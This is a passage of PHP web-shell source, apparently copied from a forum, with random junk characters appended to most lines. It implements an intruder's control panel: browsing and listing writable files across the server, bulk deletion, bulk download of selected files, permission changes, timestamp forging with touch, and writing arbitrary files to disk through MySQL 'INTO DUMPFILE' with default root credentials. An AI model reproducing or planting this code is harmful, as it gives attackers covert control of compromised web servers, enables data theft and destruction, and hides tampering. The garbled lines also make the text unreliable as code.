  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));& V  U+ {, u' v5 H: |9 K  G; R, I$ `
  328.                 }1 x) g! Q+ C- G! }" m( Y* |9 V3 I
  329.         }
    " }7 \( h& R9 W. u, i

  330. ( Y! f) _- H: K& u. g4 Q. |: P8 H
  331.         // 打包下载2 \9 F% t- S: u+ d" ?
  332.         elseif($doing == 'downrar') {: K) Z9 M" e. a: h* J
  333.                 if ($dl) {
    1 }- \" @8 ^; l* S! T- p/ }
  334.                         $dfiles='';8 v/ [) e9 k( h( G/ ?3 D+ a0 e8 Q
  335.                         foreach ($dl as $filepath => $value) {
    7 {9 i. a) E, [# S2 \; p+ B  x
  336.                                 $dfiles.=$filepath.',';
    % v+ [$ n! a: |6 v( ^  a
  337.                         }
    & b/ U8 e- M2 m# W
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);! `* i8 r8 O% @, O
  339.                         $dl=explode(',',$dfiles);0 F- z! J; A/ y8 T) W
  340.                         $zip=new PHPZip($dl);  Y$ T4 l3 q& O+ B- T
  341.                         $code=$zip->out;2 D! C0 @9 a. q; {+ w* L+ \3 v! X
  342.                         header('Content-type: application/octet-stream');
    1 p' t/ u3 Y! z3 ]1 a; A9 C
  343.                         header('Accept-Ranges: bytes');0 K1 B# T7 P" X0 a; S3 N9 x1 P
  344.                         header('Accept-Length: '.strlen($code));
    ; j% B6 c3 D8 L: E( ~
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');1 o& a# {# _1 ?+ M
  346.                         echo $code;( M+ h0 T) ~# ^, P
  347.                         exit;
    ! Z. B; S$ O& S) K+ }) K8 z
  348.                 } else {- ?( I" L" s0 R; m+ S% ?6 N  l
  349.                         m('Please select file(s)');; y4 _5 U+ `+ A8 a6 ~; B7 q
  350.                 }0 Q( R( H8 F; q$ `, e: G+ j1 K
  351.         }
    5 c3 A& Y  \, B

  352. 6 `" m1 v, @$ o; |0 G
  353.         // 批量删除文件. \. Z4 ~* E4 _- `
  354.         elseif($doing == 'delfiles') {
    ( P/ O* ?$ Z7 ~+ S
  355.                 if ($dl) {: Q8 J) p, H3 R; h! M9 Q
  356.                         $dfiles='';
    , A# ]7 ^) j) [$ n+ P* i9 _' j, |6 V
  357.                         $succ = $fail = 0;- S; ?: J6 o5 Q4 o) |- }
  358.                         foreach ($dl as $filepath => $value) {
    7 b4 ?; G) j5 ?* r4 t
  359.                                 if (@unlink($filepath)) {
    1 h: y2 q- s9 C9 U: R7 I: t4 ?
  360.                                         $succ++;% e" a& Y# X* A% _& X# E" S* Q
  361.                                 } else {+ Z- S0 R$ g) p- j. D! P
  362.                                         $fail++;+ h3 [0 C) O& @2 z
  363.                                 }
    " K4 W6 y+ ]2 c0 ~6 p- V% ]& o. Z4 _: Y
  364.                         }
    ' P- B: n( @; Y
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
    , K3 {1 l6 t+ w( K- \3 d$ ^
  366.                 } else {
    1 t/ i. L$ q6 W8 U+ q: _: H
  367.                         m('Please select file(s)');
    , v' w2 F* j# E& v  g/ G6 b
  368.                 }
    " z+ b" P" g7 F8 c4 Y
  369.         }
    . \& t' v+ k5 E( O
  370. 7 O) C0 s% [, n' T
  371.         //操作完毕+ S" c3 B- [# c, c* J
  372.         formhead(array('name'=>'createdir'));1 L8 G( @& ^) y$ S+ m
  373.         makehide('newdirname');
    1 W+ e" C1 I* D# g# K
  374.         makehide('dir',$nowpath);
    ' Z5 X" f- [# X, _- o1 Z0 e
  375.         formfoot();3 {; f) ?- S& t1 K1 p" ^3 _
  376.         formhead(array('name'=>'fileperm'));" S% X9 ^. L4 J
  377.         makehide('newperm');
    6 \  C1 f. \& N  M+ ?
  378.         makehide('pfile');
    & Y- b4 h- {8 t$ D3 ^2 }. M, V' O
  379.         makehide('dir',$nowpath);5 t+ ~1 X/ n! [
  380.         formfoot();5 E" M' \( A1 o
  381.         formhead(array('name'=>'copyfile'));
    3 h, |$ J% b9 ]2 R7 M. w! b
  382.         makehide('sname');
      w5 q- }, J% ~% E9 c
  383.         makehide('tofile');
    + Z& y/ S6 \) i1 o0 ^0 t
  384.         makehide('dir',$nowpath);
    + V! F5 C$ G! W4 m) s9 \& D
  385.         formfoot();
    7 y" ~+ c: p- T' x9 R
  386.         formhead(array('name'=>'rename'));6 j8 Q1 Z, f& d7 p+ F: g
  387.         makehide('oldname');. ?2 Y0 N* L+ u$ M! j& }8 K: E/ k
  388.         makehide('newfilename');
    " `7 D: w5 f, }& B" `
  389.         makehide('dir',$nowpath);+ w5 p! w* @# S8 H8 c  n
  390.         formfoot();2 [- R5 W8 C+ z, `
  391.         formhead(array('name'=>'fileopform'));
    " d9 y$ B6 {8 {9 y' J. S" _
  392.         makehide('action');) C* i1 p$ z* |& S: L0 M1 R
  393.         makehide('opfile');7 [2 m' B0 k$ P( L5 b# o
  394.         makehide('dir');8 v* |' P' c$ B, V
  395.         formfoot();3 }& k  t) B, s8 F3 ?4 n) v

  396. % c6 i: H7 u+ v2 j
  397.         $free = @disk_free_space($nowpath);+ |; R! [& e2 \, k- @5 d2 C
  398.         !$free && $free = 0;
    1 ^" S9 ^# C$ E
  399.         $all = @disk_total_space($nowpath);
    ; s. X* Q+ w1 t2 A
  400.         !$all && $all = 0;, D) V- a0 ]. f( B/ Z. m8 X* M) A- h
  401.         $used = $all-$free;( c. ~9 P. W( x" Y. q  F4 w- P1 `
  402.         $used_percent = @round(100/($all/$free),2);
    ( V( Z2 h) u1 `+ Z" o: U
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');% Z5 Z1 W+ F3 W9 ~( F

  404. ( x: }6 P6 Z+ E/ g2 b6 i! g+ N
  405. ?>
    / B# v" ~; ]+ Y
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">7 v; I: O1 i3 h0 ?. F
  407.   <form action="" method="post" id="godir" name="godir">
    ( X% J/ r, k6 |$ s  z: }
  408.   <tr>! U/ x. @4 g" u$ s* {
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>) L9 B. {* e2 W5 |3 {& Y
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>, f& y  E( x) L
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
      u  S1 h) M, W( X" ^1 M8 n4 [
  412.   </tr>
    ) {3 B) d' }! V  }( ?( d, s, W
  413.   </form>
    " v2 U* @! s+ e7 v! n% y
  414. </table>/ c' f1 c" |) v. y# |( z
  415. <script type="text/javascript"># `8 u. |9 |' O( @( D0 O5 Z2 \
  416. function createdir(){
      |' {  h# I% {- l. L! e* |, o
  417.         var newdirname;: i. r* {' l$ \; J1 Q
  418.         newdirname = prompt('Please input the directory name:', '');
    0 f# k4 j2 x  ?
  419.         if (!newdirname) return;
    , y& s/ w9 N* C/ S7 P- v
  420.         $('createdir').newdirname.value=newdirname;6 M! u: k* U6 H0 O9 _+ X
  421.         $('createdir').submit();. Q* e/ B6 T3 b. \$ O0 i0 m3 X
  422. }
    * [5 O% W9 m& F4 }$ h2 s
  423. function fileperm(pfile){
    " o8 T9 t0 {& e) P
  424.         var newperm;% _) p! r7 Z0 Y6 n" I5 ^, A$ t& O
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    8 n  q& B' s1 e  v* h4 P8 Z
  426.         if (!newperm) return;
    # n' K; q( W: g
  427.         $('fileperm').newperm.value=newperm;
    + j4 g+ L4 [5 @/ P4 G# Q9 `" _/ p- d
  428.         $('fileperm').pfile.value=pfile;
    $ @7 @7 B# \; w' ?5 I
  429.         $('fileperm').submit();
    0 @. ]$ D/ H1 T6 B8 v  @
  430. }
    $ O, |+ G  P9 {
  431. function copyfile(sname){
    % u3 u+ w3 w2 J$ D4 U
  432.         var tofile;3 ?1 G$ k% m8 \/ q% l1 ]. E1 W/ \
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');" ~3 z2 n  e9 W5 v/ m; G
  434.         if (!tofile) return;' m" u* Y( p( {  A0 Z
  435.         $('copyfile').tofile.value=tofile;
    ( s3 c! p1 F4 F; k0 T4 C+ i
  436.         $('copyfile').sname.value=sname;- h9 b4 [( e3 u6 o
  437.         $('copyfile').submit();
    - k1 B! a8 \. g: A/ v9 |2 `& H  J3 G
  438. }6 t" ~( Q  J/ v4 ^# O: s+ B; Z
  439. function rename(oldname){
    5 g* ^' v6 B5 y0 U- d1 X) e
  440.         var newfilename;
    ' T9 t2 o6 ?& e# \% d
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');8 I! l. Q9 O. U& R# L; j3 h
  442.         if (!newfilename) return;
    / d+ t' j7 _6 s  x- ]# d
  443.         $('rename').newfilename.value=newfilename;
    ) ]+ E$ g! w2 Z% s9 U0 f
  444.         $('rename').oldname.value=oldname;
    5 k! r) `$ g3 B8 p) s5 P
  445.         $('rename').submit();
    . f- O1 V1 k$ ~* S  J6 N
  446. }
    : N& E# d- l# B) d  i5 K3 t0 C
  447. function dofile(doing,thefile,m){/ z# B# @5 S# }* t. u$ a
  448.         if (m && !confirm(m)) {0 W  r0 A0 l3 q
  449.                 return;, u: W& [( \" M" O, D
  450.         }  p% B, P  M$ t. I  q' e
  451.         $('filelist').doing.value=doing;
    ! T1 i5 ~+ H) Z& E
  452.         if (thefile){' B/ E: i' \( E+ t' s) X4 w
  453.                 $('filelist').thefile.value=thefile;& Z8 h* e: `6 `6 `
  454.         }1 `. x) m' e1 Z
  455.         $('filelist').submit();0 V1 J- `# y9 a2 S& a3 C
  456. }4 H# L1 X  o9 b! Q, b
  457. function createfile(nowpath){
    3 v3 y9 d8 K" U* ^( t
  458.         var filename;
    9 [- R/ V' e  c$ d1 @0 M
  459.         filename = prompt('Please input the file name:', '');, }% f  ?# N  A
  460.         if (!filename) return;
    ( W! ]1 |& P( P! ]5 g1 J; k
  461.         opfile('editfile',nowpath + filename,nowpath);& t2 t  j9 F! @& v  a# z4 P! w$ S
  462. }
    6 o. t% \$ D5 g/ l
  463. function opfile(action,opfile,dir){2 M7 \6 w: E& n0 m, h
  464.         $('fileopform').action.value=action;. {6 U/ P; D$ L. J2 J, D
  465.         $('fileopform').opfile.value=opfile;
    " d- U/ b% ]' y- X* @4 v: w
  466.         $('fileopform').dir.value=dir;
    $ v7 {* B) H% w
  467.         $('fileopform').submit();
    , s, d+ k7 A# R. P( [# @
  468. }
    * L. e5 |- E$ g  E% ?( F( {
  469. function godir(dir,view_writable){& z4 r2 k: M; R! }' m
  470.         if (view_writable) {
    ( K' x, |: ?# [% b3 N! c
  471.                 $('godir').view_writable.value=1;
    ; X5 a- j* V2 q
  472.         }) C% e1 d3 B$ C* s: E$ B: d
  473.         $('godir').dir.value=dir;% C/ D6 R" O  b* G8 E7 I
  474.         $('godir').submit();
    4 `& S+ w9 O+ x
  475. }
    & T% A: v5 G. X2 K" j
  476. </script>
    2 m$ R" {- g( P7 ?% Q# @
  477.   <?php
    ' B9 t$ a, R0 R# F: v2 \
  478.         tbhead();  D2 H. X4 m4 N
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    - n2 C' M( ~, G1 }- z1 k$ E' t
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    5 P! I# T2 H. R7 `6 W
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');1 p) n! j  l, V3 D9 C1 m  X# z
  482.         if ($view_writable) {
    . L2 x+ V9 w5 v! p$ T
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
      c, s9 H& W# |& u: @' A% t
  484.         } else {
    ; E6 \' ~$ |- N. h$ ?
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');1 {6 c1 Z, m0 w# f/ F) I
  486.         }
    4 ]6 h; m3 p$ K* C, }
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');* U! a+ V/ d8 x7 B2 L2 U
  488.         if (IS_WIN && IS_COM) {. _/ G( K5 D" S
  489.                 $obj = new COM('scripting.filesystemobject');' W7 p1 J" |/ R7 i! H
  490.                 if ($obj && is_object($obj)) {
    : F! P' Q9 _& w# _8 N$ X
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    1 `$ T& q' S6 I* M& m/ w$ l$ E
  492.                         foreach($obj->Drives as $drive) {" D& u9 B4 W; G" x4 f/ n  V
  493.                                 if ($drive->DriveType == 2) {9 a6 D* _% C$ w0 [* F  @
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'( \! W4 O. |: P0 w( K
  495. Free:'.sizecount($drive->FreeSpace).'
    / K  t. _# \( O8 Z' o
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    1 }8 G: \# s% K7 ?; F: h1 j
  497.                                 } else {: w6 D& r4 \; l& ?8 C+ r; a
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    2 r! J! t+ q! d# e! [: p: H1 I) E
  499.                                 }( L' H# ~$ P9 C/ e; {; {
  500.                         }
    4 }" t0 k+ o* o  r
  501.                 }
    " v+ g/ w  \4 J6 H3 d
  502.         }+ i2 v0 R5 j# d" l. |  b
  503. 2 K# V4 ]% c9 P  K7 A) o7 j
  504.         p('</td></tr></form>');  x& O1 Q- ]' I( v* O# x
  505. $ R- o3 H  k. P! h7 o
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');- [0 T- H  f# B- ~
  507. ' o. y0 h7 Q% x, S1 X' N
  508.         //查看所有可写文件和目录  b6 K* L0 z' e# l1 r8 P
  509.         $dirdata=array();
    ) i# h6 e/ n- `) ~
  510.         $filedata=array();: b, i+ K, `: F1 H8 m9 R/ e
  511. 1 Y% q; T7 v4 L' ~! m' w
  512.         if ($view_writable) {: e/ C! M/ l" L( Y7 ]' |9 S1 @
  513.                 $dirdata = GetList($nowpath);
    7 g' c. C8 H' U* c
  514.         } else {8 s4 t# M- k' d1 J5 ?9 s
  515.                 // 目录列表. s8 N" }5 m7 n. N
  516.                 $dirs=@opendir($dir);
    4 F; X& }" P( Y; I
  517.                 while ($file=@readdir($dirs)) {
    ! g' R( B; W+ p: D. E' r/ ~
  518.                         $filepath=$nowpath.$file;5 R3 a) W: y) I+ ]. e
  519.                         if(@is_dir($filepath)){
    4 s# N0 Y# R  `
  520.                                 $dirdb['filename']=$file;
    , `% \' }1 R. M+ E
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));2 X1 }' b- P. U/ g
  522.                                 $dirdb['dirchmod']=getChmod($filepath);  I. G1 n6 G6 {1 I' d
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    ! x# k5 r! B+ [9 X$ m$ S. P* U
  524.                                 $dirdb['fileowner']=getUser($filepath);# @9 D, _/ |+ n; p) [& ]7 ~
  525.                                 $dirdb['dirlink']=$nowpath;3 T) u& a: k8 H/ e$ h' R
  526.                                 $dirdb['server_link']=$filepath;1 u% }2 |& h/ m# D: j, t: X; z" c
  527.                                 $dirdb['client_link']=ue($filepath);
    6 t- d: _; X/ ]
  528.                                 $dirdata[]=$dirdb;
    $ r7 E3 U* M/ g( v+ h
  529.                         } else {                4 x, k. c; ^$ h$ p1 Q
  530.                                 $filedb['filename']=$file;
    ; m/ G( ?4 O6 z
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    6 k9 g9 M3 ~/ o4 v5 Y/ o
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
      F$ y' R  q" P8 M  @
  533.                                 $filedb['filechmod']=getChmod($filepath);
    5 d" o$ U( u* G; Y! r# i. y
  534.                                 $filedb['fileperm']=getPerms($filepath);5 e( E  d" ^! L0 `* [9 I
  535.                                 $filedb['fileowner']=getUser($filepath);
    ) l2 L& J) J: {$ z
  536.                                 $filedb['dirlink']=$nowpath;
    * f& e& R% r) D6 Y
  537.                                 $filedb['server_link']=$filepath;
    1 F; U$ W: h( y* e. w- O
  538.                                 $filedb['client_link']=ue($filepath);
    8 a. ?8 |. ^# b7 _8 A- u
  539.                                 $filedata[]=$filedb;: Q6 x4 o% m4 j( P% W
  540.                         }
    ) m) u  H3 h) K# r; h  M
  541.                 }// while
      z/ R/ |! d5 m" E9 h- D
  542.                 unset($dirdb);5 d+ S6 J8 c; k1 Y  Y6 q
  543.                 unset($filedb);
    ! \" i& g5 E  ?; G
  544.                 @closedir($dirs);
    9 f' k5 L  x2 q5 }& Y6 j  {5 N
  545.         }
    8 O1 I9 O% P4 f) U
  546.         @sort($dirdata);
    & T% q2 c! z" U/ T& }
  547.         @sort($filedata);2 D' i) i  \. I% h
  548.         $dir_i = '0';
    & N+ n! `- L4 V6 T' H1 r% z0 g
  549.         foreach($dirdata as $key => $dirdb){) ?+ p9 }* I' o* h+ k' N) t: y
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {8 s* R/ G- u5 P$ ~6 x  {& T  z
  551.                         $thisbg = bg();
    9 w' t; h2 R4 F! j0 i1 D  U. ^
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" o9 l' O9 J% |( D& M: t
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
    $ y% x8 _8 f7 v0 `+ u( R
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    1 U: j/ \% b7 l, c+ D( q
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');; k( O6 A; }. f) j0 M7 M  l
  556.                         p('<td nowrap>--</td>');
    ; T4 v2 K8 Y9 J9 g! C5 K8 K8 @' _
  557.                         p('<td nowrap>');
    . N$ i/ B8 K# X3 H2 b7 ^
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    , s7 F( a" D1 ?1 n( V6 z
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');1 v5 Y+ I" D& w: |! U3 E
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    & q0 }2 v" L% N. |1 J
  561.                         p('</tr>');: p+ R2 I5 r0 j7 i2 Q2 @# Y9 N
  562.                         $dir_i++;* b$ n/ R+ ^5 z) i$ Q$ z
  563.                 } else {/ C+ o6 P/ N* J. H2 v* l; c- V6 a
  564.                         if($dirdb['filename']=='..') {7 S, Z! k" |& C
  565.                                 p('<tr class='.bg().'>');9 i9 T4 d4 _: N  q) w
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');) M6 o" W) n6 ~! j
  567.                                 p('</tr>');2 j0 G" v- S+ @4 ?, J# d2 u, S
  568.                         }
    - W# h4 s& T& \. |
  569.                 }
    ) e" x( w- H1 ^! j# o$ r# |0 {: l
  570.         }
    3 R& c* `! A# c7 i# B
  571. * r4 p$ u  ~5 D5 M$ v+ B% b
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');' D* D' P% ?8 J+ j3 y
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    " L9 p" s& O2 R. d! c- c
  574.         makehide('action','file');6 w: r9 z8 D: q
  575.         makehide('thefile');8 ?3 ]( R5 o& V+ }* r# R. p
  576.         makehide('doing');2 }: w; h$ ~1 |- R
  577.         makehide('dir',$nowpath);
    * v" Q% [# }: k; n
  578.         $file_i = '0';
    4 o0 M- E& B$ y* t7 q
  579.         foreach($filedata as $key => $filedb){2 x$ V. S" \/ E$ s# h3 R" k2 |
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    ( q/ o- h. Q: e, v0 z
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);8 Q! [( M5 J5 k
  582.                         $thisbg = bg();
    7 P0 L) p# o4 M0 x
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');( g! g. `6 ?; T# o) I" e
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    & {8 e! @  B; Q$ X3 v
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    4 O) V7 j8 a- K1 T. A. k( {- e7 |
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');2 b3 S5 f! M, X; I
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    9 M1 Q) @4 o3 L3 s  m8 r% E$ x, J
  588.                         p('<td nowrap>');) o) V1 X1 R; O0 d6 l
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    ( {2 ~$ D( s' K) o: ]( U* ^
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    * z7 r3 S7 ^5 a* _# j+ D( _
  591.                         p('<td nowrap>');
    8 R4 w6 R- i1 p: Q: j+ [$ X$ f
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');% {! p2 @6 R6 U
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    . n/ s# n0 E" J0 o. \  {
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');* X7 w/ S- \. e3 j3 Q
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    " `1 F( s  u# n- L# R- {6 E" z
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
    % |# s" G/ ?$ W3 `5 i
  597.                         p('</td></tr>');  ~, l5 o2 a% C6 m- J' I" l
  598.                         $file_i++;
    ( A0 f) X( E1 g* z* L9 ~
  599.                 }0 F  s+ {. t$ V
  600.         }
    7 M1 R3 O/ `0 C; f' q
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');) U7 q; M. k8 U  V
  602.         p('</form></table>');$ A2 x& m6 h# \3 o7 r5 u% H5 g
  603. }// end dir( P) J0 l0 Q; d

  604. ) m0 q& ?8 j8 T
  605. elseif ($action == 'sqlfile') {9 ~1 P9 x2 [4 ~  v9 W  U- j
  606.         if($doing=="mysqlupload"){8 u/ r% f7 d" |, ?" e8 Q! S
  607.                 $file = $_FILES['uploadfile'];
    2 s6 v# C4 a9 `* o
  608.                 $filename = $file['tmp_name'];# W; t7 z( W, }8 F
  609.                 if (file_exists($savepath)) {  C3 f/ M; W& P. \
  610.                         m('The goal file has already existed');9 l: R2 W" Y3 H$ J2 j6 r% y# M5 y
  611.                 } else {$ a1 z- D# H& N' R, z
  612.                         if(!$filename) {
    : f3 c6 t: h2 F, u! B  l
  613.                                 m('Please choose a file');
    & @4 }4 |6 v/ E6 ?& {" |+ T* \2 I
  614.                         } else {+ s  v4 v" d5 u( C; t. Q( e
  615.                                 $fp=@fopen($filename,'r');; n4 s. B. ~  A) x$ l( t
  616.                                 $contents=@fread($fp, filesize($filename));7 f  a$ Y2 f' ]% F& d
  617.                                 @fclose($fp);
    : o% A( x! ~4 i# F+ H
  618.                                 $contents = bin2hex($contents);. N; V8 G6 K1 _0 p/ `' n
  619.                                 if(!$upname) $upname = $file['name'];
    ' U, i9 k1 D1 t+ i8 D
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    / i8 z  H1 O8 |8 T
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");6 w- m; F: S+ ]  w- f
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
    5 x2 d7 t1 B2 c! \  @1 \
  623.                         }- m' S9 {1 C0 J" [: ]' f
  624.                 }& t" ?5 ]1 U7 y0 W% d, E" K
  625.         }! I5 S2 M3 w+ w+ P  m: ]
  626. ?>
    + r5 M7 |! v) |
  627. <script type="text/javascript">
    * M' z* z( k6 h0 Y, @0 p
  628. function mysqlfile(doing){
    ! I- W* j* y: H2 \
  629.         if(!doing) return;
    $ F8 N5 N* c$ O# a) ?( Y
  630.         $('doing').value=doing;" L, e1 W" C& e; L
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    " X" n, }+ a" x. W" ?: u  Z
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;$ P$ D' i: \- R) [# z
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    ! k- f, ]. j0 \, h% t1 U+ i5 P
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;  v3 n- J$ ?& N% `' A* Y
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;4 R8 {$ W$ y) e1 r6 }
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;8 ~& R- V2 p8 O2 ~/ a: ~
  637.         $('mysqlfile').submit();' ]% l0 C+ E( d2 W) h
  638. }
    / I: ~! e$ m: f6 t( D2 `2 K( ]
  639. </script>
    " c5 p+ ]' w* |  G$ Q
  640. <?php
    ' B0 y( A: a' n5 ?
  641.         !$dbhost && $dbhost = 'localhost';. i4 N! w0 @' B2 t
  642.         !$dbuser && $dbuser = 'root';
    ; @/ A. L0 y( L$ g6 g: ]% X
  643.         !$dbport && $dbport = '3306';8 q& W, H4 o% P7 _1 a% v* n' b
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');; E+ K3 Q! `- B$ Q( L
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    6 M9 k8 s: H& `
  646.         makehide('action','sqlfile');
    : {! K7 p& m/ {% c' C5 @
  647.         p('<p>');
    * V/ W% a, g7 l) ]7 K7 @
  648.         p('DBHost:');7 R  J* n; ~( L; ]
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    , C7 v6 _4 z' P3 p' s/ A! P
  650.         p(':');' r, A2 {2 I( w+ m( j5 Z* }0 B- b
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));" Z4 Y$ M5 ~& o) e7 M  a- a! @
  652.         p('DBUser:');$ s: c& X" t/ y3 u. w7 `
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));1 Q. M% \9 }$ G8 S
  654.         p('DBPass:');% h7 }, }2 x0 x+ y' z, e3 @( v, H( [
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    0 q) \& E2 z. j0 L" |
  656.         p('DBName:');
    , }" f" g" ^  b! o: i% b; w0 G& i
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));: }% n( J8 I5 m( L+ O
  658.         p('DBCharset:');& Q1 d2 ^2 {0 Z# {6 F: @2 f6 i+ g8 ^
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));" Q8 U/ [- D5 {
  660.         p('</p>');
    " L' t1 Q- \$ U: o& ^0 R$ M$ E2 @
  661.         formfoot();
    1 t! v' ~5 N3 p$ G' N- k
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    " J! R+ ^. o! i# Q
  663.         p('<h2>Upload file</h2>');" c6 {6 I7 |- x" s
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    ! Q# |; [- ]+ h8 e% W: c' _
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');7 ]  Z& K- }$ c# W! @5 p8 d7 |
  666.         p('<h2>Download file</h2>');
    ( Z$ Q7 m0 j. c/ B
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
